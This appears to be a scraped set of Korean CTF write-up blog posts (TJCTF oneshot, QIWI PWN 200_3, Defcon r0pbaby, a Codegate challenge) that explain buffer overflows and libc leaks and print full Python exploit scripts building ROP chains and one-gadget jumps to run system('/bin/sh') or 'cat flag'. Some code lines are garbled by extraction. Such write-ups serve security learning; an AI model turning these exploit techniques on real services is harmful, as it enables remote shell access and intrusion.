소스코드는 되게 간단하다.

주소값을 입력하면 그 주소의 위치를 가르쳐준다. 그리고 원하는 주소로 이동을 할 수 있다.





libc 주소를 구할 수 있으므로, oneshot(magic) 가젯을 이용하여 문제를 풀 수 있다.

(magic 가젯은 로컬과 xinetd로 돌아가는 서비스에서만 사용 가능)






[ Exploit Code ]


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from time import *
 
= ELF('./oneshot')
 
main = 0x400646
puts_got = 0x600ad8
offset_puts = 0x06f690
#offset_system = 0x045390
#offset_str_bin_sh = 0x18cd57
offset_oneshot = 0xf1147#0x4526a
 
= remote('127.0.0.1'8888)
 
raw_input(">")
 
print p.recvuntil("Read location?")
p.sendline(str(puts_got))
print p.recvuntil("Value: ")
#print p.recv(18)
 
libc_addr = int(p.recv(18), 0- offset_puts
oneshot_addr = libc_addr + offset_oneshot
 
print "[+] libc_addr = 0x%x" % libc_addr
print "[+] oneshot_addr = 0x%x" % oneshot_addr
 
print p.recvuntil("Jump location?")
p.sendline(str(oneshot_addr))
 
p.interactive()
 
 
 
cs


'CTF > etc.' 카테고리의 다른 글

KYSIS CTF 2018 Write up  (0) 2018.08.21
[Plaid CTF 2015] EBP  (0) 2018.04.19
[Defcon 26 quals 2016] feedme  (0) 2017.11.19
[QIWI CTF 2016] PWN 200_3  (0) 2016.12.06
[Defcon 25 quals 2015] r0pbaby  (0) 2016.11.10


대회 당시에 릭은 됐는데 쉘이 안따져서 다른 팀원이 풀었던 문제이다.. 대회가 끝나고 나서 다시 풀어보았다.


문제는 간단한 게임인데 사용자가 항상 지도록 설계되어있다.


아래 소스를 보면 read를 통해 입력을 받고 있는데, 이곳에서 buffer overflow가 발생하게 된다. 

따라서 64bit ROP를 이용하여 문제를 풀 수 있다.





여러가지 방법으로 문제를 풀어보았다.


[ Exploit Code 1 ] 





[ Exploit Code 2 ] 





[ Exploit Code 3 ] 





'CTF > Codegate 2018' 카테고리의 다른 글

[Codegate Quals 2018] Super Marimo  (0) 2018.02.17
[Codegate Quals 2018] RedVelvet  (0) 2018.02.13
[Codegate Quals 2018] Welcome to droid  (0) 2018.02.13

task_3

libc.so.6






문제는 되게 단순하다.

IDA를 통해 소스를 보면 친절하게도 함수 이름을 vulnerable로 해놓은 것을 볼 수 있다.





read() 함수를 통해 할당된 버퍼의 크기보다 더 많이 읽어들여 오버플로우 취약점이 존재하는 것을 알 수 있다.





ROP로 문제를 풀면 된다. 

lib.so.6 파일도 제공해주기 때문에 쉽게 문제를 풀 수 있다.





[ Exploit Code ]


from socket import *

from struct import *

from time import *


p = lambda x : pack("<L", x)

up = lambda x : unpack("<L", x)[0]


s = socket(AF_INET, SOCK_STREAM)

s.connect(('138.201.98.45', 4000))


read_plt = 0x8048360

read_got = 0x804a000 

write_plt = 0x80483a0

offset = 0x9d8e0

bss = 0x804a020

pppr = 0x804855d

cmd = "cat flag>&1\00"


payload = ''

payload += "A"*136

payload += "B"*4


# bss 

payload += p(read_plt)

payload += p(pppr)

payload += p(0)

payload += p(bss)

payload += p(len(cmd))


# leak read_addr

payload += p(write_plt)

payload += p(pppr)

payload += p(1)

payload += p(read_got)

payload += p(4)


# read -> system

payload += p(read_plt)

payload += p(pppr)

payload += p(0)

payload += p(read_got)

payload += p(4)


# system

payload += p(read_plt)

payload += "AAAA"

payload += p(bss)


print "[*] payload = %d" % len(payload)

print "[*] send payload..."

s.send(payload)

s.send(cmd)


read_addr = up(s.recv(4))

system_addr = read_addr - offset

print "[*] read_addr = 0x%x" % read_addr

print "[*] system_addr = 0x%x" % system_addr

s.send(p(system_addr))

print s.recv(4096)



'CTF > etc.' 카테고리의 다른 글

[Plaid CTF 2015] EBP  (0) 2018.04.19
[TJCTF 2016] oneshot  (0) 2018.02.13
[Defcon 26 quals 2016] feedme  (0) 2017.11.19
[Defcon 25 quals 2015] r0pbaby  (0) 2016.11.10
[Plaid CTF 2013] ropasaurusrex  (0) 2016.10.21


r0pbaby_542ee6516410709a1421141501f03760

(환경 : Ubuntu 16.04,  libc.so.6)



 PIE와 NX 보호기법이 걸려있는 64bit ELF 파일이다.






프로그램을 실행시켜보았다.

1번에서 libc의 주소값을 얻을 수있고, 2번에서 입력한 심볼의 주소값을 얻을 수 있다.

그리고 3번에서는 설정한 크기만큼 값을 입력받게 된다.





코드를 보면 3번을 선택했을 경우 memcpy()를 통해 설정한 크기만큼 데이터를 입력받아 &savedregs에 복사하게 된다.




savedregs의 주소로 가보니 sfp와 ret가 존재하였다.

즉, 값을 8byte 이상 입력하면 sfp부터 채우게 되어 오버플로우가 발생하게 될 것이다.





크기를 16으로 지정한 뒤 값을 입력해보면 Segmentation fault가 뜨는 것을 확인할 수 있다.





ROP를 이용하여 이곳을 공략하면 된다.


64비트에서는 첫 번째 인자값을 버퍼가 아닌 레지스터 rdi에서 가져오게 된다. 

(레지스터 rdi, rsi, rdx, rcx, r8, r9 순으로 파라미터 전달)

따라서 rdi에 "/bin/sh"를 넣고 system() 함수로 실행시키게 된다면 쉘이 실행될 것이다. 


공격 페이로드는 다음과 같다.


"A"*8  |  &"pop rdi ; ret"  |  &"/bin/sh"  |  system()




먼저 libc.so 파일을 이용해 system 함수의 offset을 구해준다.






/bin/sh 주소와 "pop rdi" 가젯은 다음과 같은 방법으로 구할 수 있다.




rp++을 사용하면 가젯을 쉽게 구할 수 있다.





필요한 값들은 다 구했으니 이제 exploit 코드를 작성하여 쉘을 획득하는 일만 남았다.




[ Exploit Code ]


from struct import *

from socket import *

from time import *

import telnetlib


p = lambda x : pack("<Q", x)

up = lambda x : unpack("<Q", x)


def get_shell(s):

t=telnetlib.Telnet()

t.sock = s

t.interact()


s = socket(AF_INET, SOCK_STREAM)

s.connect(('127.0.0.1', 3213))


system_offset = 0x45380

pop_rdi_offset = 0x21102

binsh_offset = 0x18c58b


# Get libc_addr

s.recv(1024)

s.send("2\n")

s.recv(1024)

s.send("system\n")

system_addr = int(s.recv(1024).split()[2], 16)

libc_addr = system_addr -  system_offset


print "[*] system_addr 0x%x " % system_addr

print "[*] libc_addr 0x%x " % libc_addr


# Exploit

payload = ''

payload += "a"*8

payload += p(libc_addr + pop_rdi_offset)

payload += p(libc_addr + binsh_offset)

payload += p(system_addr)


s.recv(1024)

s.send("3\n")


s.recv(1024)

s.send("%d\n" %(len(payload)+1))

s.send(payload+"\n")

s.send("4\n")


get_shell(s)





'CTF > etc.' 카테고리의 다른 글

[Plaid CTF 2015] EBP  (0) 2018.04.19
[TJCTF 2016] oneshot  (0) 2018.02.13
[Defcon 26 quals 2016] feedme  (0) 2017.11.19
[QIWI CTF 2016] PWN 200_3  (0) 2016.12.06
[Plaid CTF 2013] ropasaurusrex  (0) 2016.10.21

+ Recent posts